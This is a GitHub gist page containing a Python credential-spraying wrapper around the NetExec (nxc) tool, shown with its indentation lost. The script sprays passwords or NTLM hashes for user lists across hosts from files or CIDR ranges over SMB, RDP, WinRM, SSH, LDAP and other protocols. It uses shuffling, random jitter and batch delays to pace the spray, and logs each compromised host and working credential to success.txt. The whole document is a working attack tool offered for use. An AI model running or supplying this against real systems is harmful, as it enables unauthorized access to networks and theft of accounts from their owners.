Skip to content

Instantly share code, notes, and snippets.

@faisalfs10x
Created June 5, 2025 08:30
Show Gist options
  • Save faisalfs10x/034f1edd95240e8949539d597c2862a3 to your computer and use it in GitHub Desktop.
Save faisalfs10x/034f1edd95240e8949539d597c2862a3 to your computer and use it in GitHub Desktop.
NXC spraying wrapper
#!/usr/bin/env python3
# nxc_cspray.py - Version 1.0
# Author: [you]
# Description:
# A flexible credential spraying wrapper using the NXC framework.
# Supports fast mode, jitter, batching, password and hash auth, CIDR/range input,
# domain or local authentication, and auto-logging with optional overrides.
import argparse
import subprocess
import time
import random
import ipaddress
import shutil
from datetime import datetime
def log(msg, path):
timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")
full_msg = f"{timestamp} {msg}"
print(full_msg)
if path:
with open(path, "a") as f:
f.write(full_msg + "\n")
def generate_targets_from_cidr(cidr):
try:
return [str(ip) for ip in ipaddress.IPv4Network(cidr, strict=False).hosts()]
except Exception as e:
raise ValueError(f"Invalid CIDR: {cidr}")
def spray(args):
users = [args.username] if args.username else open(args.users).read().splitlines()
if args.password:
credentials = [(args.password, 'password')]
elif args.passwords:
with open(args.passwords) as f:
credentials = [(line.strip(), 'password') for line in f if line.strip()]
elif args.hash:
credentials = [(args.hash, 'hash')]
elif args.hashes:
with open(args.hashes) as f:
credentials = [(line.strip(), 'hash') for line in f if line.strip()]
else:
log("❌ Error: No password or hash provided.", args.globallog)
return
if args.cidr:
targets = generate_targets_from_cidr(args.cidr)
else:
with open(args.targets) as f:
targets = [line.strip() for line in f if line.strip()]
random.shuffle(targets)
log(f"πŸ“‘ Total targets to scan: {len(targets)}", args.globallog)
if args.fast:
log("⚑ Fast mode enabled β€” minimal delays, no batching", args.globallog)
for target in targets:
for user in users:
for cred, cred_type in credentials:
cmd = [args.nxc_path, args.protocol, target, "-u", user]
if cred_type == 'password':
cmd += ["-p", cred]
else:
cmd += ["-H", cred]
cmd += ["--local-auth"] if args.local_auth else ["--domain", args.domain]
cmd += ["--continue-on-success", "--no-bruteforce", "--log", f"{args.nxc_log_prefix}"]
log(f"πŸ” {target} | Trying {user}:{cred}", args.globallog)
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
for line in result.stdout.splitlines():
if "(Pwn3d!)" in line and "[+]" in line:
log(f"βœ… SUCCESS β†’ {line.strip()}", args.globallog)
with open("success.txt", "a") as sf:
sf.write(f"{target} | {user}:{cred}\n")
except subprocess.TimeoutExpired:
log(f"⏱ Timeout: {target} | {user}:{cred}", args.globallog)
else:
batch_num = 1
for i in range(0, len(targets), args.batch_size):
batch = targets[i:i + args.batch_size]
log(f"\nπŸ” Starting batch {batch_num} with {len(batch)} hosts.", args.globallog)
batch_num += 1
for target in batch:
for user in users:
for cred, cred_type in credentials:
jitter_val = random.randint(args.jitter_min, args.jitter_max)
cmd = [args.nxc_path, args.protocol, target, "-u", user]
if cred_type == 'password':
cmd += ["-p", cred]
else:
cmd += ["-H", cred]
cmd += ["--local-auth"] if args.local_auth else ["--domain", args.domain]
cmd += ["--continue-on-success", "--no-bruteforce",
f"--threads={args.threads}", f"--jitter={jitter_val}",
"--log", f"{args.nxc_log_prefix}.log"]
log(f"πŸ” {target} | Trying {user}:{cred} (jitter={jitter_val}s)", args.globallog)
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
for line in result.stdout.splitlines():
if "(Pwn3d!)" in line and "[+]" in line:
log(f"βœ… SUCCESS β†’ {line.strip()}", args.globallog)
with open("success.txt", "a") as sf:
sf.write(f"{target} | {user}:{cred}\n")
time.sleep(jitter_val)
except subprocess.TimeoutExpired:
log(f"⏱ Timeout: {target} | {user}:{cred}", args.globallog)
batch_delay = random.randint(args.batch_delay_min, args.batch_delay_max)
log(f"⏸️ Sleeping {batch_delay}s before next batch...\n", args.globallog)
time.sleep(batch_delay)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="NXC spraying wrapper")
parser.add_argument("--protocol", "-proto", required=True, choices=[
"rdp", "smb", "winrm", "vnc", "ssh", "ftp", "ldap", "mssql"
], help="nxc protocol to use")
parser.add_argument("--nxc-path", "-nxc", default=shutil.which("nxc"), help="Path to nxc binary")
parser.add_argument("--nxc-log-prefix", "-log", default="nxc_out.log", help="Prefix for NXC's built-in logs")
parser.add_argument("--globallog", "-glog", default="script_out.log", help="Path for global script log")
parser.add_argument("--username", "-u", help="Single username")
parser.add_argument("--users", "-U", help="File with list of usernames")
auth_cred = parser.add_mutually_exclusive_group(required=True)
auth_cred.add_argument("--password", "-p", help="Single password")
auth_cred.add_argument("--passwords", "-P", help="File with passwords")
auth_cred.add_argument("--hash", "-H", help="Single NTLM hash")
auth_cred.add_argument("--hashes", "-HH", help="File with NTLM hashes")
auth_scope = parser.add_mutually_exclusive_group(required=True)
auth_scope.add_argument("--local-auth", action="store_true", help="Use local authentication")
auth_scope.add_argument("--domain", "-d", help="Domain for domain authentication")
parser.add_argument("--targets", "-T", help="Target IPs list")
parser.add_argument("--cidr", "-C", help="CIDR range for targets (e.g., 192.168.1.0/24)")
parser.add_argument("--threads", "-t", type=int, default=256, help="Thread count")
parser.add_argument("--jitter-min", "-jmin", type=int, default=3, help="Minimum jitter")
parser.add_argument("--jitter-max", "-jmax", type=int, default=5, help="Maximum jitter")
parser.add_argument("--batch-size", "-bs", type=int, default=10, help="Batch size")
parser.add_argument("--batch-delay-min", "-bdmin", type=int, default=5, help="Min delay between batches")
parser.add_argument("--batch-delay-max", "-bdmax", type=int, default=10, help="Max delay between batches")
parser.add_argument("--fast", action="store_true", help="Enable fast mode (no jitter or batching)")
args = parser.parse_args()
spray(args)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment